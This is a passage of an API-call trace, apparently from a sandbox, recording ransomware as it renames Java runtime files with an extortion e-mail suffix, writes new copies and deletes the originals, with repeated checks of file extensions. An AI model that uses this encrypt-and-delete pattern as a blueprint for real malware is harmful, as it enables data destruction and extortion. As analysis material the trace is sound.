nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xcb0, lpOverlapped=0x0) returned 1 [0209.663] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0209.663] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xe6, lpOverlapped=0x0) returned 1 [0209.664] SetEndOfFile (hFile=0x370) returned 1 [0209.664] CloseHandle (hObject=0x370) returned 1 [0209.664] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.664] SetEndOfFile (hFile=0x364) returned 1 [0209.665] CloseHandle (hObject=0x364) returned 1 [0209.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.665] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0209.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.666] lstrlenW (lpString=".doc") returned 4 [0209.666] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0209.666] lstrlenW (lpString=".docx") returned 5 [0209.666] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0209.666] lstrlenW (lpString=".pdf") returned 4 [0209.666] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0209.666] lstrlenW (lpString=".xls") returned 4 [0209.666] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0209.666] lstrlenW (lpString=".xlsx") returned 5 [0209.666] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0209.666] lstrlenW (lpString=".ppt") returned 4 [0209.666] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0209.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.666] lstrlenW (lpString=".zip") returned 4 [0209.666] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0209.666] lstrlenW (lpString=".rar") returned 4 [0209.666] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString=".bz2") returned 4 [0209.667] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString=".7z") returned 3 [0209.667] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0209.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.667] lstrlenW (lpString=".dbf") returned 4 [0209.667] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.667] lstrlenW (lpString=".1cd") returned 4 [0209.667] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.667] lstrlenW (lpString=".jpg") returned 4 [0209.667] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.667] lstrlenW (lpString=".doc") returned 4 [0209.667] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString=".docx") returned 5 [0209.667] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0209.667] lstrlenW (lpString=".pdf") returned 4 [0209.667] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString=".xls") returned 4 [0209.667] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0209.667] lstrlenW (lpString=".xlsx") returned 5 [0209.667] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0209.668] lstrlenW (lpString=".ppt") returned 4 [0209.668] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0209.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.668] lstrlenW (lpString=".zip") returned 4 [0209.668] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0209.668] lstrlenW (lpString=".rar") returned 4 [0209.668] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0209.668] lstrlenW (lpString=".bz2") returned 4 [0209.668] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0209.668] lstrlenW (lpString=".7z") returned 3 [0209.668] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0209.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.668] lstrlenW (lpString=".dbf") returned 4 [0209.668] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0209.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.668] lstrlenW (lpString=".1cd") returned 4 [0209.668] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0209.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0209.668] lstrlenW (lpString=".jpg") returned 4 [0209.668] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0209.668] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0209.669] lstrlenW (lpString="GRAY.pf") returned 7 [0209.669] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.669] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=632) returned 1 [0209.669] CloseHandle (hObject=0x364) returned 1 [0209.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0209.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.670] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.671] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.671] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.671] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.672] GetLastError () returned 0x0 [0209.672] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x278, lpOverlapped=0x0) returned 1 [0209.673] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x280, lpOverlapped=0x0) returned 1 [0209.675] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0209.675] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xe2, lpOverlapped=0x0) returned 1 [0209.675] SetEndOfFile (hFile=0x370) returned 1 [0209.675] CloseHandle (hObject=0x370) returned 1 [0209.675] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.675] SetEndOfFile (hFile=0x364) returned 1 [0209.676] CloseHandle (hObject=0x364) returned 1 [0209.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.677] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0209.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.677] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.677] lstrlenW (lpString=".doc") returned 4 [0209.678] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString=".docx") returned 5 [0209.678] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0209.678] lstrlenW (lpString=".pdf") returned 4 [0209.678] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString=".xls") returned 4 [0209.678] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString=".xlsx") returned 5 [0209.678] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0209.678] lstrlenW (lpString=".ppt") returned 4 [0209.678] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.678] lstrlenW (lpString=".zip") returned 4 [0209.678] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString=".rar") returned 4 [0209.678] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString=".bz2") returned 4 [0209.678] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString=".7z") returned 3 [0209.678] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0209.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.678] lstrlenW (lpString=".dbf") returned 4 [0209.678] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0209.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.678] lstrlenW (lpString=".1cd") returned 4 [0209.678] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.679] lstrlenW (lpString=".jpg") returned 4 [0209.679] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.679] lstrlenW (lpString=".doc") returned 4 [0209.679] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString=".docx") returned 5 [0209.679] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0209.679] lstrlenW (lpString=".pdf") returned 4 [0209.679] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString=".xls") returned 4 [0209.679] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString=".xlsx") returned 5 [0209.679] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0209.679] lstrlenW (lpString=".ppt") returned 4 [0209.679] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.679] lstrlenW (lpString=".zip") returned 4 [0209.679] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString=".rar") returned 4 [0209.679] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0209.679] lstrlenW (lpString=".bz2") returned 4 [0209.679] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0209.680] lstrlenW (lpString=".7z") returned 3 [0209.680] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0209.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.680] lstrlenW (lpString=".dbf") returned 4 [0209.680] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0209.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.680] lstrlenW (lpString=".1cd") returned 4 [0209.680] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0209.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0209.680] lstrlenW (lpString=".jpg") returned 4 [0209.680] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0209.680] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0209.680] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0209.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.681] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=1044) returned 1 [0209.681] CloseHandle (hObject=0x364) returned 1 [0209.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0209.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.682] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.682] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.682] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.683] GetLastError () returned 0x0 [0209.683] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x414, lpOverlapped=0x0) returned 1 [0209.684] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x420, lpOverlapped=0x0) returned 1 [0209.685] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0209.685] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xee, lpOverlapped=0x0) returned 1 [0209.686] SetEndOfFile (hFile=0x370) returned 1 [0209.686] CloseHandle (hObject=0x370) returned 1 [0209.686] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.686] SetEndOfFile (hFile=0x364) returned 1 [0209.687] CloseHandle (hObject=0x364) returned 1 [0209.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.687] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0209.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.688] lstrlenW (lpString=".doc") returned 4 [0209.688] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0209.688] lstrlenW (lpString=".docx") returned 5 [0209.688] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0209.689] lstrlenW (lpString=".pdf") returned 4 [0209.689] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString=".xls") returned 4 [0209.689] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString=".xlsx") returned 5 [0209.689] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0209.689] lstrlenW (lpString=".ppt") returned 4 [0209.689] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.689] lstrlenW (lpString=".zip") returned 4 [0209.689] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString=".rar") returned 4 [0209.689] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString=".bz2") returned 4 [0209.689] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString=".7z") returned 3 [0209.689] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0209.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.689] lstrlenW (lpString=".dbf") returned 4 [0209.689] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.689] lstrlenW (lpString=".1cd") returned 4 [0209.689] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0209.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.689] lstrlenW (lpString=".jpg") returned 4 [0209.690] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.690] lstrlenW (lpString=".doc") returned 4 [0209.690] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString=".docx") returned 5 [0209.690] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0209.690] lstrlenW (lpString=".pdf") returned 4 [0209.690] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString=".xls") returned 4 [0209.690] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString=".xlsx") returned 5 [0209.690] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0209.690] lstrlenW (lpString=".ppt") returned 4 [0209.690] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.690] lstrlenW (lpString=".zip") returned 4 [0209.690] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString=".rar") returned 4 [0209.690] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString=".bz2") returned 4 [0209.690] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0209.690] lstrlenW (lpString=".7z") returned 3 [0209.690] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0209.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.691] lstrlenW (lpString=".dbf") returned 4 [0209.691] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0209.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.691] lstrlenW (lpString=".1cd") returned 4 [0209.691] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0209.691] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0209.691] lstrlenW (lpString=".jpg") returned 4 [0209.691] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0209.691] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0209.691] lstrlenW (lpString="PYCC.pf") returned 7 [0209.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.692] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=274474) returned 1 [0209.692] CloseHandle (hObject=0x364) returned 1 [0209.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0209.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.693] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.693] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.693] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.693] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.695] GetLastError () returned 0x0 [0209.695] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x4302a, lpOverlapped=0x0) returned 1 [0210.117] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x43030, lpOverlapped=0x0) returned 1 [0210.124] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0210.125] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xe2, lpOverlapped=0x0) returned 1 [0210.125] SetEndOfFile (hFile=0x370) returned 1 [0210.125] CloseHandle (hObject=0x370) returned 1 [0210.125] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.125] SetEndOfFile (hFile=0x364) returned 1 [0210.128] CloseHandle (hObject=0x364) returned 1 [0210.128] SetFileAttributesW (lpFileName="C:\\Program 